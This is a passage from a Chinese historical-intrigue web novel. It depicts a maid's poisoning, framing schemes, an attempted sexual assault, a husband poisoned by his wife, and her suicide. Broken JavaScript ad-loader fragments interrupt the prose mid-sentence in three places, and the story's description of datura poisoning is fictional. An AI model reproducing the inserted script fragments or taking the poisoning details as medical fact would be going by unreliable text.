荆绍轩脸色一垮,质疑道:“于她而言又能有什么好事呢,她只是一个婢女,为何陷害主人家的嫡公子。” “那可说不准呐。”荆楚歌将白霜身上的银针一一收回,无不例外都呈现出乌黑。 荆楚歌默念着数字。 “救我……我不想死……”白霜忽然睁开了眼,嘴中含糊地呻吟着,她那脆弱如幼猫的声音令旁人惊悚不矣。 荆楚歌再度俯身,拂开挡在白霜额前眼前的碎发,她紧紧盯着白霜的眼睛,问:“为何要自尽,白霜姑娘。” 白霜呆滞的目光缓缓滑落,落到不远处荆玉兰的身上,一颗泪也缓缓从眼角滑落,“玉兰小姐,求您救救我的弟弟和母亲。我真的不想死……” 荆玉兰方才还哭得要死要活,这会儿白霜回光返照,她却捏着帕子怔在原地,腿脚都不利索了,半天不敢动弹:“你是人还是鬼?” “小姐,我听了郎君的话……您不要迁怒我的家人……”白霜气若游丝,眼角还残留着泪痕,凌乱开散的衣领敞开大半,露出斑驳可怕的紫痕,这少女竟这样衣冠不整地离开了人世。 她终于合上了眼,连同着气息,至此生命彻底到了尽头。 “玉兰姐姐何必问呢,死人最后在人世间的只言片语,自然是人在说话。”荆楚歌听见白霜的遗言大概是明白了,虽说凑不齐证据,但大致描摹出了事件的来龙去脉。 荆楚歌替她拢了拢胸口的衣领,她纯粹只是疼惜这条人命,对错之间,更多的是身不由己。 “白霜午后饮过一碗汤药,是绍轩少爷命人送过来的,此为物证,花房的几位女使也都是亲眼所见!望老爷夫人明察。”梅香端着放着玉碗的木案盘,扑通一下跪倒在众人面前,她捧着残留着棕褐色汤药的碗,眼巴巴地看着脸色铁青的荆老爷。 15. 色胆包天 梅香身后站着几位更年轻的少女,规规矩矩地跪在堂前,乌泱泱一片,谁也不敢言语。 “是曼陀罗的毒,但应该是取自枝叶而并非根。枝叶之毒属于慢性,且无解药可抑制,此毒的一大特点就是在三个时辰内药效发作,使人产生幻觉。六个时辰便彻底发挥药效,口吐鲜血而死。前后时间对不上,白霜自戕而死,分明是受到旁人的指示,有人故意诱导她这么做的。”荆楚歌端过碗,轻轻用手扇了扇,那气味独特,带着一股草叶晒干后的酸苦味,“若是不信,请召府里常用的郎中,真假一试便知。” 那是贴身管家摸出来的脉搏,荆乔松十分确定这白霜死透了,但荆楚歌三两下施针,果真是叫死人醒过来了。 但秉持着公正,荆乔松立马传了郎中过来,确实同荆楚歌说的一致。 “还不跪下!”荆乔松怒目圆睁。 挨打的人从荆凌筠变成了荆绍轩,事情开始往往天崩地裂,结局却又惨绝人寰不尽人意。 都以为荆凌筠不务正业四处留情,要了婢女的身子却又不愿意收作通房,贪多餍足后婢女怀了身子,又心狠手辣不想承担后果。 哪知世间竟有如此狗血的事,话本子似的起承转合换了主角,竟是荆绍轩想要构陷自己的堂弟这才做了一箭双雕的勾当。 荆绍轩明显没想到火这么快就烧到自己头上,他赶紧跪下认错,替自己辩驳道:“大伯!我冤枉啊,我就……我就前几日同她亲近了些,也不曾做什么伤天害理的事!至于汤药,我差人送的避子汤,我也不知道何人作祟将避子汤换作毒药了哇!” “那你还撺掇舅舅处置荆凌筠,分明是你自己行不正坐不直。”荆楚歌一针见血道。 荆绍轩冷笑:“贱人,这儿也轮不到你说话,” 荆楚歌从管家手里接过木杖,毫不犹豫地朝荆绍轩背上打去。 动作利落,毫不拖泥带水。 荆绍轩闷哼了两声,痛得快要满地打滚了,却又想到只是给一个女人打了,要是流露出疼痛来未免太过丢人,只好硬生生忍住了。 “做坏事都做不利落,不知道你还能成什么事。”荆楚歌讥讽道。 “不过是给秦王府当侍妾,以为自己真飞上枝头变凤凰了么,不过是换了个地方当女表子,贱人居然敢打我!离开了秦王你算个屁!”荆绍轩愕然,似乎是被踩到了痛脚,浑然不顾自身形象破口大骂。 “怎么跟你姐姐说话呢,越发没规矩了,她是你血浓于水的亲姐姐,你们身上都流着我荆家的血!”荆乔松脸色依旧铁青,朝着老管家使了使眼色,便遣退了在场围观的大多侍女小厮。 此事务必不可多言,管家对此事心知肚明,如何吩咐下人他也是熟稔的。 荆玉兰见白霜彻底咽气了,心中坦然了许多,她解围道:“既然这药有迷人心智的作用,那白霜那两句话也不一定为实,或许她不检点,自己在外头养了男人,也是未可知的。” 这样的丑事,不声张就是最好的结果。 死了一个怀着身孕的侍女,顶多落个御下不严的名声。 荆玉兰声音柔柔弱弱的,似弱柳扶风,她善解人意道:“兴许都是误会……” 众人冷眼看着,默认了这种说法。 “你怎的如此糊涂!”荆夫人摇晃起身,疾步走到儿子跟前,衣袖一甩狠狠地甩了荆凌筠一耳光。 “母亲,我如今是清白的……我不曾做过那些龌龊事。”荆凌筠讷讷地捂着脸,青涩苍白的脸上惊魂未定,眼睛里的星星点点的光也彻底黯淡下来。 “都是你的无用!是你害我在你父亲面前无地自容。你从小到大都没让我省过心,你开蒙,我特意请了你外祖父从前的学生,可你学下了什么?老先生几乎每个月都要向你父亲诉说你的不是,和其他旁支的孩子比起来,你给他们提鞋都不配。到了去宗族学堂的时候,你摸猫逗狗,学业和同龄人比又落下了一大截。除开你的身份,你一无所长。”她无法接受自己的儿子如此平庸,多年来的怨气积攒下来,今日终于给了她爆发的机会,“我怎会生了你这样的儿子!只怪我只生了你一个!不然你烂在泥里我都不会管。” 她知道真相,也知道自己的儿子秉性纯良,她就是恨——为什么自己的儿子长大到这大,还分不清对错,看着别人挖的坑,他便眼睁睁去跳。 那是失望到极致的恨铁不成钢。 荆楚歌扶起烂泥般瘫坐在地上的荆凌筠,他表情茫然失措,若是没有身上的伤痕和唇角的血渍,他也不确定方才发生的事是真是假。 “荆凌筠,你得学着站起来,这个世界上会有许多背叛、憎恨、排挤,这些有可能来源于素不相识的人,也有可能来自于你最亲近的人,可你要知道即使你遭受这一切,你前进的脚步也不会因此停滞——前提是你要想好自己要去哪儿,你还年轻,阿筠,总有一天你会游出这个四四方方的天地的。” 他们敢明目张胆地挑唆父子关系,荆乔松几乎可以非常确定,他的儿子确实能做出这样大逆不道的事,可见往日荆凌筠和舅舅的关系有多恶劣。 看尽今夜无情的攻击和冷漠的陷害,荆凌筠语气沉缓,面无表情,“我何尝不知道,我母亲之所以死死将我抓住,无外乎就是害怕这家主之位被旁人夺了去。但我不想活得那么累,阿姐。” 荆楚歌微微叹了口气,她蹲在阿弟的面前,只是觉得今晚的夜色格外惨淡,冷风无情,吹在肌肤上留下刻骨的痛,“可是你需要面对这些。” “他们在意我的名声,我的课业,我的前途……可是他们从未关心过我想要什么。我想要的不多,阿姐,爷爷病的时候说,他想吃一口甜栗子,可是父亲和母亲把毒下到栗子里……” 他当时只是个孩子,众人都没将他当回事,没想到他不仅还听着,到了若干年后长大,他终于领会到了那番言语里的刻毒含义。他曾懊悔,为什么自己不能懂事一点早熟一些,兴许那样,他就不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会眼睁睁看见爷爷枉死了。 荆楚歌赶紧捂住他的嘴,还好四周无人。她目光凌厉严肃,压声音道:“傻子,你得先自保,先有自保的能力再谈其他。这样的话你不要再说了,不要让第三个人知道这件事。” 她自身难保,事情也过去了太久,不好查也无法证实真假,荆楚歌只希望这孩子不要遇上越来越多的麻烦。 荆凌筠失望的眉眼缓缓低垂,他嘴唇有些苍白,轻轻颤抖着,他道:“其实我都明白,阿姐。只是,我不想继续这样了。” “你想做什么便去做吧,不要刻薄自己。记住,人是往高处走的,越走越亮堂才对。” 荆凌筠勉强撑起笑容,灿烂,纯真,像被风快吹折了的向日葵,“知道,阿姐,受教了。” 荆楚歌叫了小厮将小少爷护送回去,自己则慢吞吞地走回了自己的院子。这一带的路她并不陌生,只是到了夜晚,极尽奢华的府邸雕栏画柱,在幽深的林草中显得有些诡异。 推开沉重的门,荆楚歌只闻见屋内一片焚香的刺鼻之味,她心中觉得不对劲,摸着门边试探着往里走,不想下一秒便被黑暗包裹住全身,她被强行拖拽进一个混着玉兰脂粉香气的怀抱。 最后一抹烛光悄然堙灭,只余下雪白的月光轻快地落入窗台。 荆楚歌脑子几乎一片空白,被冲天香气冲昏了头脑。她轻微地吞咽,却感觉嗓子眼似被烈火灼烧,一阵一阵的刺痛蔓延在她的胸口之处。 “嘘……”王郎君轻轻用食指抵住荆楚歌的唇,唇色浅淡,不着半点口脂,却亮如春色,令人忍不住弯腰采撷。 “姐夫。” 荆楚歌很冷静,她只是没想到这位王郎君会这么胆大包天。 今晚风云不断,居然还有心思把手伸到这里。 “看你的模样,好像一点也不吃惊。”王郎君唇角勾起一抹吃味的微笑。 荆楚歌冷讽道:“怎么,感到索然无味么。” 王郎君却不正面回应,食指勾了勾她垂直耳侧的一缕碎发:“和姐姐的夫君纠缠在一起,滋味如何,是不是很刺激。” 荆楚歌的声音冷下来了,她的声音本身音调偏冷,由于年纪却又不大,过分的冷淡和稚嫩的年龄形成落差,就像是木质香调带着纷杂的浆果香,“你出现在我的房间里,这不合礼制。” 王郎君转而更亲昵地蹭了蹭荆楚歌的颈窝,“雪梅园本来就是我同你姐姐玉兰所居之地,哪一处我不能去。” 荆楚歌刹那间算是明白了,这对小夫妻挖了一个坑,就等着把她扔里头埋掉。 她不由得怀疑起来,今晚的这场大戏或许是一个连环戏,真正的目的不是陷害荆凌筠——所有人的注意力都集中在荆凌筠那儿了,就连她自己也掉以轻心,可没想到这人胆大包天,居然敢顶风作案。 他们迫切地想要摆脱荆府的光环,不惜一切代价,更将家族的荣耀视作无物,碾碎在泥土里不够,还要多踩上几脚。 16. 色迷心窍 王郎君饶有兴致地看着她:“怎的这样看着我,噢……我记起来了,你是秦王殿下还未抬去的贵妾,啧啧,多好呐,小麻雀一步登天,变成枝头上的花凤凰了。在想什么有意思的事?说与姐夫听听。” 荆楚歌轻描淡写道:“也不是什么有趣的事,我只是在想,你和荆玉兰是不是一个阵营的。她知道你想做什么?” 王郎君假惺惺笑道:“没办法,谁叫她嫉妒心强,非容不下白霜。不得不承认,你玉兰姐姐着实是命不好,生在这样的家里,生了这样的性格。” “可怜了那小丫头片子了,我还没能正经享用几次。”王郎君笑出了声,他目光灼灼,恨不得要把荆楚歌的脸盯出一个窟窿,“好在这不是还有你么。你玉兰姐姐现在有了身孕,诸事事都不方便。” 他说着,便开始轻浮地将手触及荆楚歌的腰间,指尖勾着腰封腰带,佩环清脆,锦衣落地,王郎君似乎对此轻车熟路。 “所以你暗地里跟白霜暗通款曲,故意挑唆荆玉兰和白霜的关系。最后荆玉兰身边再无亲近的人,就连正堂夫人那边,你也能伸手把手搅浑了。” 荆楚歌被两人的厚颜无耻彻底整沉默了,她满眼愤恨,只可惜在湛湛暗夜中泯灭了焰火。 王郎君终于显露出自己的色欲和野心:“至于你,她没办法不答应,如此一来,我们可是一条船上的人了。” “再者,以后你若是给秦王府生下一儿半女,你岂不可以高枕无忧?平心而论,难道你不想母凭子贵,到时候你可是真正有身份的贵人了,再也不用过以前那般寄人篱下受尽屈辱和白眼的日子,最重要的是,你还能护得住你想护住的人。” 荆楚歌赫然,用弱女子的命设局,这些人根本就是疯子! “那是一条人命,就为了……”她不知如何言语。 利用女子的贞洁将他们的利益捆绑在一条绳子上,谁会在意这个妾室是否能生下秦王血脉的孩子,关键得在于,这妾室和这妾室的孩子是自己安插的人。 一举一步皆是棋子,荆楚歌才不会想这么容易就受制于人。 用自己的命为旁人博前程,简直是痴人说梦。 “你做梦。”荆楚歌轻启薄唇,眸子里倒映着男人的脸。 她倔强如不可驯服的野兽,讽刺的是,这头野兽正困在囚笼里不得安生。 王郎君骤然感受到后背传来一阵尖锐的刺痛,冰冷坚硬。 他晃了晃神,不由得笑出声:“真是,还以为搜身是多此一举。” 刀光寒凛,削铁如泥。 荆楚歌握紧刀柄,嗤笑道:“是么,失算了吧。” “这样吧,我们各退一步,我今晚放过你……顺便我还有一个秘密想要告诉你,是关于令堂的,我可以把我知道的都告诉你。” 荆楚歌听见自己的母亲,愣了愣神:“我凭什么信你?” 虽然她知道这话八成有诈,或许只是分散她的注意力,可她没办法不停。 “就凭我知道,匣子里的信是谁写给她的,她死前见过什么人,与什么人有来往——府里尽是眼线,想知道你们母女两人的动向,几乎不费吹灰之力。你以为她是病死的么,其实不然,你放下刀,我兴许一五一十都将与你听。” 王郎君的语调轻缓而随性,好像并不相信这抵在后心的刀对他有什么威慑力。 荆楚歌恼火至极,却又不得不耐着性子听他狡辩。她曾经也怀疑过自己的母亲不是简单的病重,只是难以考证。 她跟着老头儿学了半年的药理,虽谈不上精通,但是已察觉到当初母亲的药有所不妥。 她母亲命苦,病重每况愈下,最终没能熬过去。 可是她们母女二人无依无靠,如蝼蚁般活着,谁会非要做这样杀人灭口的事? 砰。 刀身华光照闪,冷风割破,直直朝梨木桌上飞去,刀刃穿透,刀身剧晃成鸣。 火折子霎那擦亮,映照着二人的脸庞。 光明一瞬,折子落地,四周迅速再次落入昏暗。 二人过手,一掌功夫便将距离拉开。荆楚歌纵身而起,抬手捞住桌上的瓷杯狠狠砸了过去。 他伸掌一拍那瓷杯便碎的四分五裂,碎片绕着他整整一圈,他顺手一拂,将碎片拢成一堆踏在脚下。 王郎君冷笑:“雕虫小技!” 荆楚歌脚步轻快,桌椅均为支点,手上轰隆隆一顿,将桌子椅子全都掀了,连花架子都没放过,一一砸向王郎君。 王郎君不想这少女会造出这么大的声响,制止也来不及了,只能边闪躲边顺手将那些器件扶起。 衣襟被刀风猎猎卷起,整个人都微微后仰,这一退便如流云倾斜千里。 荆楚歌能与之交手,已然是出乎他的意料之外。 他从腰间抽出软剑,那剑如盘旋之毒蛇,并两指宽,雪亮如霜。 荆楚歌外衣袖袍坠地,脸庞也多了一丝血痕,她知道这人还未下死手。 她虽不算争强好胜之流,但屈居人下是她难以接受的。 短刀只适合近身,此刻她以不占优势。 王郎君颇为挑衅,饶有兴致地看向她:“怎的,打不过,不跑么?” 门外竹影婆娑,云影风清。 门内刀光剑影,你死我活。 王郎君陡然觉得心口一阵闷痛,打斗幅度也未超过身体的负荷,荆楚歌也不过是女流一辈……他怎么可能受到半分损伤? 荆楚歌恶狠狠地呸了一声,拢了拢趁着夜色往外跑。 打不过就跑,虽然很没出息,但是能活命。 轻功一跃,越过高高的深宅屋檐。 紧接着,他跌跌撞撞地倒地,吐出一口暗红的血,经脉之间气流涌动,丹田之处似乎开始隐隐作痛。 他想呼救,但是荆楚歌早已跑远没了身影。 血溅在地上,像炸开的点点烟花。 不过荆楚歌在这儿,多半那女人也会眼睁睁看咽气,若是看出了点什么,还保不准冷嘲热讽几句。 “荆玉兰啊……这辈子都栽在你手里了。” 王郎君的眼底闪过一丝残忍的血色,他懊恼又气恨,只是一瞬,那乖戾之气便转成深沉的悲痛。 到头来还是被自己的枕边人算计了。 他不停地回想着过往,与这个女子在一起的点滴。 她哀求他不要走,他没有走。 她哀求他娶她,他娶了她。 天不遂人愿,甜蜜的爱情很快被现实消磨殆尽。 初逢的镜湖不知何时结了冰,他们夫妻也再也回不去了。 王郎君不让她召见郎中,生怕郎中给她开了药——荆玉兰极其擅长配置药草,那药理相冲撞,便能叫人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 肝肠寸断。 迷人心智的熏香……还有傍晚荆玉兰温顺可人地捧上的一碟奶酥。 他垂死挣扎着,浑身开始燥热,他知晓药性已经发作,满眼不甘,沉重地倒在了月色之外的阴翳中。 她在苍茫夜色中奔跑,说不上惊慌失措,但今夜的遭遇足以让她乱了方寸。 屋檐砖瓦松动,咔哒一声,灰砖被踏碎,荆楚歌直直坠了下去。 裴谦骑在高头大马上,他拉着缰绳,荆楚歌从天而降,他堪堪伸出臂膀,那少女便正好落入他的怀里。 黎明初亮的天际,是春水吻细风的舒缓和畅。 “真巧。” 国公爷平时穿衣方面颇为讲究,衣饰锦绣华美,不周全不出门。 不过今日他一反常态,穿了一身普通的黑色劲装,在晦明不定的夜晚里如同一颗灼眼的明珠,就这么一瞥,连周围的夜色都亮了亮。 长裤绷紧出笔直利落的线条,衬那张颠倒众生的脸,荆楚歌仰头望着他,不由得有些出神。 兴许是那迷魂熏香的古怪,荆楚歌喉头发紧,看着裴谦的那张颠倒众生的脸,不由得心神荡漾。 如此入怀,荆楚歌并不觉得暧昧,更感觉到的是……亵渎。 “好巧。”她也讷讷地回应道。 裴谦身上带着酒气,兴许是酒宴到了后半夜才散。荆楚歌心道,这都后半夜了,国公爷难道还缺人伺候? 大半晚上还在纵马骑行,贵族子弟真好啊,根本就不用担心宵禁的问题。 国公爷小心翼翼地打量着少女的穿着,道:“姑娘,我们应该不是第一次见。” 荆楚歌垂眸,咬了咬下唇,表示默认。 楚国公沉吟片刻,补充道:“怎么每次遇上你,你都有麻烦。” 荆楚歌被安安稳稳地放到地面,裴谦轻声咳嗽,他面色疲倦,又沾着酒气,若是看仔细了,这人浑身带着要死不活的死寂感。他像一朵洁白的云,这样的精致和独特让荆楚歌怔了又怔。 “淑女不应该衣冠不整地……在房檐上上蹿下跳。”楚国公抛了自己的披风给她,“回去吧。” 那是一件带着暗纹的披风大氅,针脚密实工艺精湛。 “谢过国公爷。”荆楚歌眩晕归眩晕,主次还是分得清楚的,她迅速行礼,然后朝相反的方向跑,急匆匆地便再次消失在夜色里。 大半夜还在外头闲逛,荆楚歌还是未出阁的少女,这要是传出去了简直要给她不幸的人生再添上两把火。 国公爷望着远去的残影,轻轻叹了口气。 这人表面风光无限,实则窝囊气受了不少,偏偏他还不能过分反抗——此时的身份便是枷锁,束缚了他的一举一动。 纨绔也没什么不好,避免了许多麻烦。 望着王城星星点点的残光,酒楼里推杯换盏络绎不绝,城墙下还有流民饥肠辘辘,无处可归。 厚重的城墙是一道隔阂,一念天堂一念地狱。 酒过三巡,裴谦骤然觉得人生苦短,确实应该及时行乐。 他陷入了沉思,不停地反省,当初征战沙场,难道挽救的是这般不近人情、漠视生命的山河? 从他回到郢都的那一刻,从他上交虎符的那一刻,从偌大的楚国公府只余下他一人支撑——裴谦早就死掉了,只不过他的□□还活着,灵魂却早就腐烂了。 17. 陷害成真 “主子,那是飞骑将军的外甥女,荆家的。”云沧海幽幽出声,他蹲在巷子的墙头上,好似沉入深夜的枭禽,他颇为热情地朝裴谦露出灿烂的笑容,标准的笑容足足露出了八颗崭新的大白牙。 云沧海补充道:“秦王殿下那日在荆府相中的就是她,说要收作妾室。” “你那怎么知道的?”裴谦声音温醇,仔细听来却有一分淡漠的凉意。 云沧海敞心道:“那个,云青天一天到晚侯在那姑娘身边呢,换班的时候碰见了。” “噢,都拨了近卫啊,大半夜的,人都跑出家两里地了,怎的也没见着?”裴谦骑在马上,他牵了牵缰绳,骏马仰着脑袋往后退了两步。 云沧海看一时半会儿也没什么事,蹲在墙头就从口袋里掏出两块被压瘪的荷花酥,好在他习惯不赖,吃东西从不砸吧嘴,囫囵吞枣地吞下两块糕后,他含糊道:“主子,你知道的,除非是生死大事,云青天不会出现的,再者,他此刻还能充当眼线的作用,要是露头了,岂不是弄巧成拙?” 裴谦冷笑一声,道:“看来张记清还是给孟询出了些好主意的。” 云沧海悄声道:“还不是主子你的进度太慢了,都不放心你。” 裴谦眉毛微微挑起,道:“那没办法,都求功心切,我可没这样的心思。” 荆楚歌是不敢继续飞檐走壁了,一路小跑,又绕了回去,她从后院的偏门绕了进去,人还没走进去,便听见里头传来阵阵哭嚎声。 她站在门口愣了愣,不至于吧,不过是交手不到十个回合,就这么暴毙了? 这家伙是吃了什么不该吃的药吧。 “表小姐!”女使惊呼一声。 荆玉兰满脸泪水,指着荆楚歌道:“还不快把她押过来!” “白眼狼,惺惺作态。”荆玉兰推开荆楚歌,眼底流露出不加掩饰的冷漠刻毒。 她此刻应该是欣喜的,终于可以正大光明地恨这个来路不明的表妹。 以及,这个令她又爱又恨的男子,停止了呼吸,正躺在她眼前。 他从今往后,身体一定是忠贞的,至于心里……反正都已经死了,还有什么所谓? 荆玉兰扑在王郎君的尸首上大哭起来:“是你!你杀了我家夫君……我好心将你带回院子,你怎的下得了如此毒手。” “荆楚歌你水性杨花,猪狗不如,都是你勾引我家夫君,你们荒淫无度!品性下流!” 荆玉兰字字泣血,满是泪痕的脸庞写满了歇斯底里的痛苦。 半柱香的功夫,荆乔松也过来了,荆夫人见到这场面差点没晕倒。 “这是发生了什么!”荆乔松两眼一黑,完了,王家的人死在荆府里,不管是什么死因,他荆府都要脱一层皮! 宁娶王家女,不作皇家妾。 王家在迁都中出人出力,可以说若是没有王家,也就没有当今的郢都皇室。 现在之混乱不言而喻,荆楚歌挨着荆玉兰蹲着,披着一件暗紫色的大氅,少女眉眼低垂,唇色浅淡,额上出了细细的汗,鼻尖被冻得红红的。 荆乔松以前真没仔细留意过这个外甥女,或许她生得更像孙家那边的人,与姐姐也没那么像。眉眼生得周正,似水墨河山,蜿蜒入云,她笑得少,所以脸上总带着冷霜似的疏离感。 荆玉兰本是要她跪下的,结果她死活都弯不下这个膝盖。 她还冠冕堂皇地说:“我只跪天地,跪父母,更何况前边这死了的人,还是差点害死我的人,我没理由跪他。” 荆玉兰心中一片热辣的嘲意,死到临头还在意这些风骨。她又有些嫉妒,这少女是怎么毫无负担地说出这般自私的话。 她压低声音,凑在荆楚歌的耳边道:“我立于云端,看你苦苦挣扎。荆楚歌,我心里十分痛快。” 荆楚歌讥笑道:“云端?我怎么没见着?你在哪一片儿云上?” 荆玉兰毫不在意她的阴阳怪气,平缓又平静道:“这也算是我教会了你,放下你的怜悯心吧,以前帮过你的人,说不定转头就会陷害你,让你死无葬身之地!” 婢女扑通一声跪倒,大声道:“是表小姐害死了王郎君!她杀了人自知理亏,想要逃遁……” 荆楚歌轻而易举地能为自己辩白,总之王郎君的死与她无关,可是她似乎意识到了什么不得了的东西——扎根地底最丑陋的阴谋,破土而出的欲望已经势不可挡。 她从不避讳直视欲望,可这代价实在让她分不清黑白对错。 这个女人,从最开始发善心的时候便已经盘算好她的死期。 一碟枣泥酥,还有示弱的自残…… 荆楚歌只觉得失望透顶,她渺茫如蝼蚁,一次次被推出去,一次次被利用。 她是深宅大院里最轻飘飘的浮花,落在水面上不知流向何方,亦或是沉入了水底。 谁会在乎? 荆玉兰一改往日的温顺贤惠,她攥紧荆楚歌的手腕,二人的眼神交接恨不得蹦出火花:“我很期待,楚歌你为自己的辩白,总之王郎君已经死在你的屋里了,这蹚浑水你不踩也得踩。” “你勾结了外人?你要做什么?要把整个荆家都葬送了么?”荆楚歌恍然大悟,“是秦王?楚国公?还是王家?” “秦王?楚国公?”荆玉兰似乎也没反应过来她怎么突然提起那两位。 “你莫不是想利用王郎君的死大做文章,他死在我的厢房里,我自然会为自己辩驳,到时候你顺水推舟送我人情,开始大范围搜府……若是这个时候不巧搜出了什么,你说该怎么处置。” 荆楚歌缺乏勇气,她空有智慧却还未拥有对抗的勇气。 她不动声色地抽回手,颇为嫌弃地拢下衣袖,腕侧在衣袍上蹭了蹭,荆玉兰身上带着诡异的熏香味,荆楚歌不敢太过大意:“既然棋局已布好,那说明今夜府外有与你接应的人。” “你很聪明,楚歌,只可惜命薄。”荆玉兰巧言轻笑。 “不,我不聪明。我要是聪明,我就不会回来了。”荆楚歌只觉得指尖发凉,她站在原地迟迟不肯动一下,好像动一下她的阵痛感会无限放大。 荆楚歌两眼发黑,只是这会儿她强撑着精神这才不露声色。 抄家,那是很遥远的事情了,她只从娘的只言片语里提过,抄家是一种政治手段,是非常严厉的惩罚措施。合法性毋庸置疑,带着个人情绪色彩和意志荆楚歌就不多作评价了。 甭管谁家财万贯,富可敌国,到了这一天也只能树倒猴狲散。 男人悉数斩首,女眷卖入乐坊,孩童则入奴籍。 “什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?”荆玉兰倏尔收敛了微笑。 荆楚歌深吸一口气:“你凭什么觉得,王郎君死了,你就能从这里走出去。” 荆玉兰趾高气扬道:“他不过是王家外头生的,不过是一个没什么地位的外室之子。” “所以人家不伤一兵一卒就可以拿到抄家清单。玉兰姐姐,你能为他们做什么呢?” 能做什么?自然是什么都做不了,唯一能做的就是用这可笑的局,将荆家全盘托出,创造出一个能堵住悠悠众口的理由,叫人家把荆家这块肉吞下肚。 荆玉兰已经没有利用价值了,她缓缓抚上自己的小腹,一股彻骨的寒凉从心脏深处传来。 她畏惧着,却不知为何畏惧。 “孩子,白叫你投到这个世界了。可惜娘亲已经断了生的念头……”荆玉兰跪在王郎君的尸首前。 她亲手配的药,那一日荆楚歌割伤了手心,特意请的郎中,那郎中不负众望,开了些许药铺中需要存证的禁药。 荆楚歌瞧着荆玉兰温顺乖巧的眉眼,道:“玉兰姐姐,你既未做好面对狂风暴雨的打算,却又执意闯入这片分崩离析的权势悬崖,若是后面遭受不测,只能说一切都是命。” 荆玉兰自是知道箭已出弦,覆水难收。 这局无药可解,荆玉兰自认为美满周全,自己可以全身而退,但事实是她小觑了人心的险恶和欲望。 王家完全可以绕过她的布局,直指荆府大门。 机关算尽,到头来全都白忙活了。 王郎君不仅是自己的弃子,更是世家王氏的弃子。 “呵呵,权势。你根本不会懂我的心情,没人能懂我的心情。”荆玉兰自嘲一般笑道,低头抚摸王郎君那冰冷僵硬的脸旁,“若是有着滔天的权势,我阿娘就不会死得不明不白!我恨不得马上死了,连同着整个荆家一起下地狱!” 荆玉兰低声喃喃道:“你知道我有多恨吗,我认了杀害我亲生母亲的人作母亲,连同着不管事的父亲,我忍了好久……” 她是深宅大院前的弱女子,像提线木偶,被强行操控了一辈子。 挑战权威,却又自寻灭亡。 荆夫人胸腔里怒火中烧,一夜不得安宁,此刻彻底没了好脸色:“把她关进柴房里,听后发落。偌大的家宅,一点规矩都没有!打死你也是应该的!” 荆楚歌被几位女使拽着架着往后拖,她讷讷地不知如何张嘴,看着越来越远点荆玉兰,她心底闪过一丝惊诧。 “郎君,不要抛下我,我这就来——” 荆玉兰恶狠狠地推开身旁的女使,毫不犹豫一头撞向前方的柱子。 人群中发出一声惊呼:“不好啦!玉兰小姐殉情了!” 一切过于突然,荆楚歌没想到最终的荆玉兰会以这样的方式去面对。 荆夫人转身,她收敛了悲戚的深情,用手绢擦了擦眼角根本都不存在的泪:“那荆楚歌,还不如将她早早嫁出去,留着总生祸端。反正又不是正妻,纳一个妾室,也不需要张罗打鼓的,到时候秦王府嫌晦气可就来不及了。” “用一顶小轿,将她早日抬到秦王府,莫要声张。”荆乔松只害怕这个时候家中传出死讯,又有各种龃龉困着他们家。到时候荆楚歌就真的变成烫手的山芋,同时又失去了利用价值。 18. 五两银子 荆楚歌摸了摸靴底塞的几张薄银票,忍不住心疼自己房间里来不及带走的那些银钱。 从小没见过什么好的,要是早点有钱,她阿娘就不会走了。 荆楚歌蹲在角落里,看乌黑的蜘蛛网,半张,大大咧咧地撑在墙角。 半扇墙被熏得黢黑,窗口糊了翠色的纱窗,是主子房间里退下的旧纱,颜色陈旧,千疮百孔,勉强布置了这里。 冷风从窗口钻进来,风如利刀,割得她皮肤生疼,手背红了一片,笔尖也是红彤彤的。 呵出去白色的雾气缭绕,片刻消失得烟消云散,见不到任何残留的痕迹。 时不时还有耗子从脚边上跑过,荆楚歌见怪不怪,硬是跑到脚边上就一脚踢开。 她坚信能适应环境之恶劣,才能有决心顽强地生活。 她躺在冰凉的地上,觉得不太舒服,又收拾了一摞摞柴火,在墙角里铺着,躺在上面眼睛一闭,感觉天都快塌了。 不到一两个时辰,光亮透着破了几个大洞的纸窗照了进来。天已经亮了,她扯了扯身上的那一条柔软华贵的大氅又心疼又感动。 要不是这大氅,自己这早就冻死了……她吸了吸鼻子,感觉自己的脑子像是被锤子砸了,一阵阵眩晕铺天盖地袭来。 更要命的是,她嗓子痛得要命,眼睛所见均是重影,昏昏沉沉,好像下一秒就要倒下。 睡眼惺忪的她无所事事地爬了起来,叩响门扉,大声道:“有人么?” 这一声喊得她脑瓜子持续嗡嗡作响,像是一只干瘪枯燥的手伸进她的脑子里,打着转儿地摸索。 门外传来一声娇俏尖锐的细声:“表小姐安生些!” 荆楚歌扒着门,惨兮兮喊道:“我要喝水吃饭!” 门陡然被踢开,门里走进来一个气势汹汹的老妈子,脸上的褶子皮堆在一起,像一只干瘪瘪的橘子,她指着荆楚歌的脑门儿骂道:“别真把自己当成了金枝玉叶的主子了!能给你送两餐饭都已经是老爷格外开恩了,还搁这儿瞎叫唤!再叫唤就堵了你的嘴。” 老妈子身后还站着两位壮实的家丁,荆楚歌只好噤若寒蝉。 “都要给人作妾了,还真当自己是个东西,就算是秦王府,你也不过是个作妾的,那是要入奴籍的,哼,还吃饭,不饿死你就算是夫人老爷大发善心!”老妈子两手叉腰,站得中气十足,她脸上擦着厚厚的粉,脸上表情幅度稍大一些,脸上的脂粉好似刚粉过的老房子,窸窸窣窣落着灰。 老妈子得意忘形地笑着,如今她也是得到了小姐的提拔,在府里头也算是熬上了头。 她不动声色地从袖口里搜出一样东西,匆匆拾藏在一堆纵横交错的柴火堆里。 “哟,荆楚歌,怎么到这儿来了。” 荆楚歌眯眼,望着门里逆光的地方缓步走进一个娇俏的身影,定睛一看,又是老熟人。荆甘棠光彩照人,梳着乌光水滑丫髻上,嵌蝶形珠钗。 毕竟府里死了人,她穿着素净,也不敢太张扬,只是浅浅擦了香粉,口脂也是极素的颜色。 “你呀,就是个丧门星,走到哪儿哪儿就要倒霉。我娘以前说以前还不信,如今看来,和你有牵扯的都不得好死。”荆甘棠嗤笑道,“只有这里才是最适合你待的。” 荆楚歌有些疲惫,但是感觉荆甘棠好似说得确实有道理,便也懒得反驳:“怎的,这个时候都要来落井下石?” 